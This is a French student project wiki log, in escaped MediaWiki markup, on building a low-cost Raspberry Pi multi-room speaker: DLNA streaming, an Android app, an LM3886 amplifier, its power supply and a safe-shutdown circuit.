Cette solution permet à l’utilisateur de brancher '''n’importe quel haut-parleur actif''' à la carte son avec un connecteur jack 3.6 mm. Il pourra ainsi '''garder son propre haut-parleur''' s’il le désire.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 2=====&lt;br /&gt;
&lt;br /&gt;
Le second module embarque lui aussi une '''Raspberry Pi avec MusicBox''' ainsi qu’une '''carte son USB'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Cependant nous proposons en plus dans celui-ci un '''amplificateur audio''' auquel nous connecterons un '''haut-parleur passif'''.&amp;lt;br&amp;gt;&lt;br /&gt;
L’avantage de cette solution est de '''maîtriser la qualité audio du haut-parleur''' pour notre utilisateur et de ne fournir qu’une seule « boite » avec '''solution toute intégrée'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Les modules seront connectés à un réseau Wi-Fi domestique sur lequel un smartphone ou un ordinateur envoyant la musique y seront aussi connectés.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Principe_Chaine_Transmission.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
&lt;br /&gt;
* Définition du cadre du projet&lt;br /&gt;
* Création du cahier des charges&lt;br /&gt;
* Création de l'enceinte connectée (boitier, circuit d'amplification, logiciels de la plateforme Linux embarquée)&lt;br /&gt;
* Développement du logiciel de diffusion de l'ordinateur central&lt;br /&gt;
* Développement de l'application mobile&lt;br /&gt;
&lt;br /&gt;
=== Objectifs à long terme ===&lt;br /&gt;
&lt;br /&gt;
=====Une solution DIY pour des coûts maitrisés=====&lt;br /&gt;
&lt;br /&gt;
Un des objectifs importants de ce projet est le coût puisque nous verrons par la suite après établissement d’un état de l’art (Sprint 2) qu’un haut-parleur multi-room dans le commerce se trouve dans une fourchette de prix allant de 100 à 500 euros. Il est donc évident que l’achat d’une enceinte par pièce revient très rapidement assez cher.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera donc d’obtenir un module ayant un coût maximum de 80 euros pour une solution prête à l’emploi. La modularité du projet permettra à l’utilisateur de mettre le prix qu’il souhaite pour la qualité sonore de son choix (un haut-parleur actif pour le module 1, un couple amplificateur/haut-parleur pour le module 2).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le danger majeur porte sur la qualité audio qui diminue très rapidement quand le coût baisse. La somme de 80 euros est un bon compromis pour notre projet.&lt;br /&gt;
Nous avons aussi vu très récemment que la Raspberry Pi Zero à 6 euros d’une puissance suffisante pour notre projet était disponible, contre une trentaine d’euros pour la solution actuelle. Elle a également l’avantage d’être beaucoup plus compacte que le modèle B+.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permettra dans le futur de pouvoir faire diminuer le coût total du projet pour une personne voulant le réaliser par la suite.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
&lt;br /&gt;
'''Planning prévisionnel mis à jour :'''&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4 Gantt.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons fait des recherches sur des solutions déjà existantes pour diffuser de la musique dans plusieurs pièces d'une maison. Samsung propose déjà un système permettant de diffuser plusieurs flux différents dans différentes pièces via le réseau wifi du domicile, cependant le prix pour un module d'entrée de gamme est d'environ 150€. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons également pensé à une première architecture matérielle de notre projet qui consisterait en :&lt;br /&gt;
&lt;br /&gt;
* La Raspberry pi qui recevrait le flux via le réseau wifi&lt;br /&gt;
* Une carte son USB pour améliorer la qualité du signal&lt;br /&gt;
* Un amplificateur de puissance pour amplifier le signal en sortie de la carte son&lt;br /&gt;
* Des enceintes passive pour diffuser la musique&lt;br /&gt;
&lt;br /&gt;
Voici une première version du devis pour un module wifi avec deux enceintes : [https://docs.google.com/spreadsheets/d/1zY-wZ5dp6-4V5MpXp7nPTk747dZ_c5XflT7HJquc2lw/edit#gid=0 lien]&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons pu discuter avec Rodolphe Astori et Alexandre Boé ce qui nous a permis de définir plus précisément la teneur du projet. L'objectif principal de ce projet est de développer une solution &amp;quot;low cost&amp;quot; que n'importe quel étudiant pourrait réaliser au Fablab, tout cela pour un faible coût (moins de 100 euros).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En effet, ce type de système déjà existants sur le marché présente un coût très important, allant de 200 euros pour Sonos et Bose jusqu'à 400 euros '''par haut-parleur'''.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les points clés du projet seraient :&lt;br /&gt;
* Entièrement réalisable soi-même&lt;br /&gt;
* Coût maîtrisé&lt;br /&gt;
* Modulable&lt;br /&gt;
* Possibilité de pouvoir choisir la gamme de chaque module (amplificateur de meilleur qualité mais plus cher...)&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Fonctionnement par SPRINT===&lt;br /&gt;
[[Fichier:P4_Scrum_logo.jpg|thumb|right|Logo Scrum]]&lt;br /&gt;
Nous nous sommes également convenus avec Rodolphe Astori de procéder par '''&amp;quot;sprint&amp;quot;''', c'est à dire d'essayer de réaliser un système fonctionnel le plus rapidement possible, et de faire un point sur notre réalisation au bout de 15 jours. Si au bout de ces 15 jours, le projet prend la direction voulue, on continue dans cette voie, sinon on revoit le cahier des charges. &lt;br /&gt;
Il est également essentiel de faire des points très régulièrement (une à deux fois par semaine) pour faire ressortir les éventuelles difficultés rencontrées. &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #1 (15/10/2015) &amp;lt;br&amp;gt;Objectif : Envoyer un flux musical vers une enceinte déjà existante===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
A la fin des recherches préliminaires nous avons alors défini les objectifs à atteindre en fin de sprint 1. Il s’agissait d’arriver à streamer une musique depuis un appareil quelconque, vers une Raspberry Pi Connectée à une enceinte.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons alors pris la décision de partir sur une application destinée à fonctionner sur un PC. Nous avons choisi de développer cette application en C++, en utilisant le framework Qt, car il permet la réalisation de programmes graphiques sur toutes les plates formes.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a alors commencé à développer une application en C++ tout en cherchant des méthodes pour arriver à streamer simplement sur la Raspberry Pi. Une des voies envisagée était d’utiliser une librairie VLC intégrable à Qt disponible sur le site vlc-qt.tano.si. L’avantage de passer par VLC pour streamer un flux musical est que c’est un logiciel open source, disponible à la fois sur Windows, Linux, Mac OS et qui s’intègre parfaitement à Qt.&amp;lt;br&amp;gt;&lt;br /&gt;
On a également réussi à streamer un flux musical depuis VLC, ainsi que depuis un Mac, en installant SharePort, vers la Raspberry Pi.&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
[[Fichier:P4_Sprint1.jpg|thumb|right|400px|Stream depuis un Mac]]&lt;br /&gt;
A la fin du sprint, on a alors effectué un retour sur ce qu’on avait fait avec nos tuteurs ainsi que Jean-Eude Laurenge. On n’a malheureusement pu faire la démonstration que du stream depuis un Mac.&amp;lt;br&amp;gt;&lt;br /&gt;
On a alors rediscuté de l’avancement du projet et des objectifs futurs. En effet, la démonstration n’était pas convaincante, et assez restreinte par rapport au résultat attendu.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
On a déterminé ensemble qu’il était alors nécessaire pour le sprint 2 de :&lt;br /&gt;
*Réaliser une veille technologique complète sur les solutions existantes&lt;br /&gt;
*Se concentrer sur l’application mobile dans un premier temps.&lt;br /&gt;
En effet, l’intérêt principal de pouvoir streamer de la musique dans plusieurs pièces à la fois est de pouvoir contrôler la musique tout en se déplaçant. L’intérêt de contrôler le flux musical à l’aide d’un PC est donc assez limité.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #2 (10/11/2015) &amp;lt;br&amp;gt;Objectif : Envoyer deux flux musicaux différents vers deux enceintes déjà existantes===&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Veille technologique=====&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps il s’agissait de réaliser une veille technologique décrivant les solutions existantes autant au niveau logiciel et matériel DIY que celles commercialisées par des marques connues. &amp;lt;br&amp;gt;&lt;br /&gt;
Il fallait également arriver à streamer de la musique vers au moins deux enceintes en utilisant les solutions trouvées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Les solutions commercialisées (sous le nom d'enceintes multiroom) sont les suivantes :&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_veilletechno.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Pi MusicBox=====&lt;br /&gt;
&lt;br /&gt;
Pour la Raspberry Pi nous avons choisi d’installer un '''OS Linux modifié nommé MusicBox'''. Ce système d’exploitation est prévu pour gérer les flux musicaux. &amp;lt;br&amp;gt;&lt;br /&gt;
En effet, il intègre un '''serveur DLNA''', [[Fichier:P4_DLNA_logo.jpg|thumb|right|200px]] la possibilité d’y associer un compte Spotify ou encore de streamer un flux Youtube ou une musique située sur une clé USB branchée à la Raspberry. &amp;lt;br&amp;gt;&lt;br /&gt;
Il dispose également d’une interface web qui permet de contrôler facilement tous les flux et son code est entièrement open source. C’est donc la solution idéale pour streamer facilement de la musique depuis un mobile en utilisant le DLNA.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous affichons directement l'interface de MusicBox depuis un ordinateur connecté au même réseau Wi-Fi :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_MUSICBOX.png|500px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Le protocole de streaming utilisé par MusicBox est le protocole [https://fr.wikipedia.org/wiki/Universal_Plug_and_Play UPnP] (pour Universal Plug and Play), un des nombreux protocoles de la [https://fr.wikipedia.org/wiki/Digital_Living_Network_Alliance Digital Living Network Alliance].&amp;lt;br&amp;gt;&lt;br /&gt;
 [[Fichier:P4_BUBBLEUPNP.png|60px|thumb|right|Application Android  BubbleUPnP]]&lt;br /&gt;
&lt;br /&gt;
Nous téléchargeons donc une application Android supportant le protocole '''UPnP''' pour tester l'envoi d'un flux audio du téléphone vers &amp;quot;BedRoom1&amp;quot; : [https://play.google.com/store/apps/details?id=com.bubblesoft.android.bubbleupnp&amp;amp;hl=fr BubbleUPnP].&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera maintenant de créer une application multi-plateformes disposant des mêmes fonctionnalités.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
&lt;br /&gt;
Nous avons pu effectuer une démonstration d’une chaine complète. Nous avons réussi à diffuser deux musiques différentes depuis un même smartphone vers deux enceintes séparées.&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:P4_Sprint2.png|700px]]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
L’objectif fixé en début de sprint est donc atteint et nous avons pu définir de nouveaux objectifs pour le sprint suivant :&lt;br /&gt;
*Réaliser notre propre application et arriver à streamer une musique vers une enceinte&lt;br /&gt;
*Réaliser le PCB du circuit d’amplification à base de LM3886&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #3 (05/01/2016) &amp;lt;br&amp;gt;Objectif : Ampli audio &amp;amp; Réalisation de notre propre application Android===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Application Android=====&lt;br /&gt;
&lt;br /&gt;
Pour le sprint 3 nous nous sommes concentrés sur la réalisation d’une application Android. En effet, comme iOS dispose d’une solution intégrée déjà existante nous avons jugé n’il n’était pas nécessaire de développer une application dédiée.[[Fichier:P4_Android.jpg|200px|thumb|right|Notre application Android]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons choisi de développer notre application en utilisant Android Studio. Cette application est donc réalisée en Java, et nous avons fait en sorte qu’elle soit compatible avec tous les téléphones disposant de la version 4.1 (Jelly Bean) ou plus. Cela permet qu’un maximum d’utilisateurs puisse profiter de l’application tout en la rendant compatible avec les versions récentes.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans un premier temps nous avons créé une activity '''Android''' standard disposant d’un panneau latéral qui nous permettra par la suite de rajouter les fonctions de recherche de serveur DLNA.&lt;br /&gt;
Dans un second temps nous avons créé une classe '''Song''' qui contient les variables liées à chaque chanson et les méthodes nécessaires pour pouvoir les manipuler.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
On a ensuite implanté une barre permettant de contrôler la lecture (lecture, pause, chanson suivante…). Les contrôles étant déjà présents dans le service « Media Player » il était seulement nécessaire de rajouter le widget contenant notre barre à l’activité principale puis de lier les boutons aux contrôles.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Il a ensuite été nécessaire de créer une autre classe contenant les méthodes permettant de manipuler les chansons. Cette classe, nommée '''MusicService''', permet de lier la liste des chansons que l’on a récupérées dans l’'''Activity''' principale au lecteur de média. En effet, le lecteur de média est un service sous Android et est donc indispensable à lier si l’on veut lire un média quelconque.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Une fois ces étapes faites, nous avons affiché cette liste dans l’activité principale et l’avons trié par ordre alphabétique. On initialise alors le service permettant de lire les médias et on lit l’action de toucher une chanson dans la liste au démarrage de ce service. On a alors une première version du lecteur musical, qui pour l’instant est limitée à la lecture en local.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur Audio=====&lt;br /&gt;
&lt;br /&gt;
Nous avons également réalisé le layout des deux PCB du module 2 : un pour l’amplification à base de LM3886 et un pour le circuit d’alimentation. Afin de dissiper sa chaleur importante lors de l’utilisation de l’amplificateur, nous avons commandé un dissipateur thermique sur lequel nous visserons le LM3886.[[Fichier:P4_Ampli_Schema.jpg|300px|thumb|right|Schema audio à base de LM3886]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous nous sommes fortement inspirés de l’amplificateur ci-contre où les informations sur le [http://www.schema-electronique.net/2011/12/un-amplificateur-final-hi-fi-de-40-70.html site correspondant] sont très détaillées et nous permettent de comprendre l’importance de beaucoup de composants dans un amplificateur audio.  &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Par rapport au circuit d’origine, nous avons ajouté une LED de fonctionnement de l’amplificateur, un switch ON/OFF ainsi qu’un potentiomètre rotatif pour pouvoir agir sur le volume sonore.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Pour l’entrée audio, l’utilisateur trouvera en façade de l’amplificateur une entrée stéréo RCA ainsi qu’une entrée jack 3.6 mm. Pour la sortie, nous avons prévu un bornier standard pour connexion de haut-parleur ainsi qu’une sortie jack femelle 3.6 mm.&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BornierClassic.jpg|170px|Bornier 2.1]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
La version quasiment finale du PCB est donc la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:P4_PCB_Ampli.PNG|470px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Principe de l'Amplificateur Audio'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_Ampli_Principe.png|600px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons commandé &lt;br /&gt;
*les derniers connecteurs nécessaires à la réalisation de cette carte (et la carte d'alimentation (carte 2/2))&amp;lt;br&amp;gt;&lt;br /&gt;
*un '''dissipateur thermique''' pour dissiper la chaleur du LM3886.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.audiophonics.fr/fr/kits-modules-diy-radiateurs/radiateur-dissipateur-thermique-anodise-noir-78x47x30mm-p-9299.html Dissipateur thermique 70x40x10(Lxlxh)(mm) ]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
Les objectifs de ce sprint n’ont donc pas tout à fait été atteints :&lt;br /&gt;
*Le lecteur Android ne permet pour l’instant que de lire localement les musiques&lt;br /&gt;
*Le PCB n’a pas encore été tiré&lt;br /&gt;
Il est donc nécessaire pour le sprint suivant de corriger au plus vite ces deux points de manière à ce que le projet puisse aboutir. Les objectifs pour le sprint suivant sont donc de faire en sorte d’arriver à streamer un flux musical vers une enceinte avec notre application ainsi que de tirer les PCB, les souder et commencer les tests.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #4 (18/01/2016) &amp;lt;br&amp;gt;Objectif : Envoyer une musique via la chaine de transmission avec notre ampli audio===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
'''Partie Hardware'''&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur=====&lt;br /&gt;
&lt;br /&gt;
La version finale de notre carte d'amplificateur est la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:Ampli_2D.png|400px]] [[Fichier:Ampli_Photo.jpg|400px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Un dissipateur a été fixé sur l'amplificateur (composant rectangulaire noir visible en haut de la carte sur la photo).&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons testé la carte avec une alimentation de labo +/-25V. Elle est tout à fait fonctionnelle.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Alimentation=====&lt;br /&gt;
&lt;br /&gt;
Dans la version finale du projet, l'amplificateur devra être alimenté en +/-25V avec une carte d'alimentation intégrée au module.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Schema-allimentation.jpg|thumb|330px|Schéma de base d'une alimentation]]&lt;br /&gt;
&lt;br /&gt;
Nous nous sommes alors basés sur un schéma classique d'alimentation (pour passer d'un courant alternatif à un courant continu).&amp;lt;br&amp;gt;&lt;br /&gt;
Son principe de fonctionnement est le suivant :&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le signal fourni par les bobines secondaires du transformateur 220/18V est le suivant :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_1.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après double redressement par le pont de Graetz, on se retrouve avec ce signal :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_2.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après filtrage par les condensateurs, on se retrouve avec un signal élevé et lissé :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_3.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La différence entre les tensions maximum et minimum de la tension au borne des condensateurs est appelée tension de &amp;quot;ronflement&amp;quot;.&amp;lt;br&amp;gt;&lt;br /&gt;
Notre but est donc de diminuer cet écart afin d'obtenir une alimentation la plus stable possible pour notre amplificateur, au risque de détériorer le matériel !&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a donc ajouté un filtre CRC, visible sur le schéma suivant (schéma final de notre alimentation) :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Supply Schematics.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
NB : Le composant &amp;quot;KB1&amp;quot; est notre pont de Graetz (pont de diodes).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de bien dimensionner les composants, nous avons effectué diverses simulations sous Altium Designer.&amp;lt;br&amp;gt;&lt;br /&gt;
On ne se basera que sur les composants de la moitié supérieure (C1, C3, R1, C5 et C7) car les résultats seront les mêmes pour les autres puisqu'il s'agit d'une alimentation symétrique.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive d'entrée du filtre (C1+C3)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaEntree.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus elle est élevée, plus la tension efficace de sortie sera élevée.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur de R1&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceResistance.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Moins la résistance est élevée, plus la tension de sortie est importante. (Mais on augmente le ripple)&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive de sortie du filtre (C5+C7)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaSortie.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus la capacité de sortie est importante, plus on limite le ripple.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Boîtier du module=====&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser le boîtier du module en bois. En effet, cela nous permet d'utiliser la découpeuse laser du Fabricarium, et le rendu final est très esthétique.&amp;lt;br&amp;gt;&lt;br /&gt;
Il nous a suffi de nous rendre sur un site de [http://carrefour-numerique.cite-sciences.fr/fablab/wiki/doku.php?id=projets:generateur_de_boites génération de boîtes]. Une fois le fichier sauvegardé, nous y avons ajouté des trous de manière à y intégrer &lt;br /&gt;
* des LEDs diverses [[Fichier:SVG_Boite_P4.png|thumb|350px|SVG de la boite]]&lt;br /&gt;
* des boutons&lt;br /&gt;
* le bouton principal de volume sonore&lt;br /&gt;
* Un haut-parleur passif interne au module&lt;br /&gt;
* Un bornier pour y connecter un haut-parleur passif externe (8 ohms/50 Watts maxi)&lt;br /&gt;
* Un switch pour passer du haut-parleur externe au haut-parleur interne&lt;br /&gt;
* Le connecteur mâle IEC pour l'alimentation de l'amplificateur&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BoiteFinale.jpg|thumb|350px|Boite Finale]]&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un design musical.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Toutes les instructions d'utilisation de la découpeuse laser du Fabricarium sont disponibles [http://www.fabricarium.fr/mediawiki-1.23.5/index.php?title=Speedy_400 à cette adresse].&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Circuit ON/OFF=====&lt;br /&gt;
&lt;br /&gt;
La Raspberry Pi étant à l'intérieur de la boîte et une connexion SSH non prévue dans le cahier des charges du projet, il est nécessaire de faire en sorte que celle-ci puisse être éteinte de manière propre.&amp;lt;br&amp;gt;&lt;br /&gt;
En effet, l'extinction &amp;quot;brutale&amp;quot; pourrait très facilement corrompre la carte SD présente sur la Raspberry Pi, et ainsi détruire toutes les configurations préalablement effectuées !&amp;lt;br&amp;gt;&lt;br /&gt;
Pour &amp;quot;extinction brutale&amp;quot;, comprenez&lt;br /&gt;
* Débranchement de la prise d'alimentation principale par l'utilisateur&lt;br /&gt;
* Coupure de courant&lt;br /&gt;
&lt;br /&gt;
Nous avons donc pensé à un circuit à base de condensateurs et de relais :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_Schematics_2.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Toute la partie '''non encadrée en rouge''' est le circuit ON/OFF &amp;quot;normal&amp;quot;, comprenant les boutons sur lesquels l'utilisateur agira.&amp;lt;br&amp;gt;&lt;br /&gt;
La partie '''encadrée en rouge''' est le circuit de sécurité (lors d'une coupure de courant ou lorsque la prise est débranchée sans avoir appuyé sur OFF)&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Explication du circuit ON/OFF &amp;quot;normal&amp;quot; :''' &amp;lt;br&amp;gt;&lt;br /&gt;
Ce PCB devra être soudé entre la prise de courant et la RPi (au milieu donc d'un câble USB coupé en 2)&amp;lt;br&amp;gt;&lt;br /&gt;
*Quand le relai (REL1) est dans son état inactif (sur 1), le 5V arrivant de la prise de courant va charger le condensateur (C1).&lt;br /&gt;
*Quand le condensateur sera assez chargé, il activera les transistors 1 et 2 qui connecteront la bobine du relai (REL1) à la masse.&lt;br /&gt;
*Quand on appuiera sur le bouton ON (ON_BUTTON), le relai passera de 1 à 10 (dans son autre état), la RPi sera donc alimentée. Cependant, le condensateur se décharge ! Et donc les transistors seront désactivés et le relai aussi --&amp;gt; La RPi ne sera donc plus alimentée.&amp;lt;br&amp;gt;&lt;br /&gt;
Pour éviter cela, on active une sortie de la RPi (Pin 3 de &amp;quot;To GPIO) pour fournir du 3.3V, et donc maintenir le condensateur chargé, donc le relai actif sur la pin 10. La RPi reste donc bien alimentée.&lt;br /&gt;
*Pour l'extinction, on ajoute un retour (pin 6 de &amp;quot;To GPIO&amp;quot;) qui va envoyer la valeur 1 lorsqu'on presse le bouton OFF (OFF_BUTTON). La LED (OFF_LED) s'allumera pour signaler à l'utilisateur que la RPi est en train de s'éteindre. Un script s'exécutera en même temps interrompant les programmes proprement, puis stoppant le 3.3V.&lt;br /&gt;
*Le condensateur se décharge donc, puis au bout d'environ 1 minute (temps réglé en fonction de la valeur du condensateur (C1)), les transistors sont désactivés, le relai (REL1) le sera donc aussi (en position 1), la RPi ne sera plus alimentée.&lt;br /&gt;
*On revient au début du cycle, le condensateur va se recharger, il ne restera plus qu'à presser le bouton ON (ON_BUTTON) quand on souhaitera allumer de nouveau la RPi.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Explication du circuit de sécurité (encadré en rouge) :''' &amp;lt;br&amp;gt;&lt;br /&gt;
* Un boîtier de piles (accessible de l'extérieur) 6V est connecté à ce circuit. Puisque la Raspberry Pi doit être alimentée en 5V, nous avons ajouté un régulateur de tension de 5V.&lt;br /&gt;
* La bobine du relai (REL2) en haut du schéma est directement alimentée par le 5V de la prise de courant. Lorsque ce relai (REL2) est alimenté, il est dans l'état 10, non connecté. Dans cette situation, la Raspberry fonctionne correctement avec la source d’alimentation normale et les piles ne sont pas utilisées.&lt;br /&gt;
* Si la prise est débranchée ou s'il y a une coupure de courant, le relai (REL2) passera dans l'autre état (état 1) pour laisser les piles alimenter à leur tour la Raspberry Pi.&lt;br /&gt;
* Un signal est aussitôt envoyé à la Raspberry Pi (pin 2 de &amp;quot;To GPIO&amp;quot;) pour lancer le script d'extinction de celle-ci.&lt;br /&gt;
* Lorsque la Raspberry Pi sera éteinte, elle ne fournira plus de courant au condensateur (C2) qui au bout de quelques secondes désactivera le transistor (T3) (tout en haut à droite). Par conséquent, la Raspberry ne sera plus connectée à la masse, ce qui préservera les piles en stoppant leur fourniture de courant inutile.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le PCB associé (réalisé sous Altium) est le suivant : (il a déjà été testé et fonctionne correctement)&amp;lt;br&amp;gt;&lt;br /&gt;
(Face TOP / Face BOTTOM)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_3D_TOP.png|300px]] [[Fichier:DriverButtons_3D_BOT.png|299px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;***REVISION B*** :&amp;lt;br&amp;gt;&lt;br /&gt;
Transistor T3 (qui connecte la RPi à la masse) en mode passant dès le branchement de la prise 5V (dans cette version, le transistor est donc déjà passant avant même que la RPi soit allumée. Evite les bugs de fonctionnement : &amp;lt;/span&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DriverButtonsREVB_Schematics.png|500px]]&amp;lt;br&amp;gt;&lt;br /&gt;
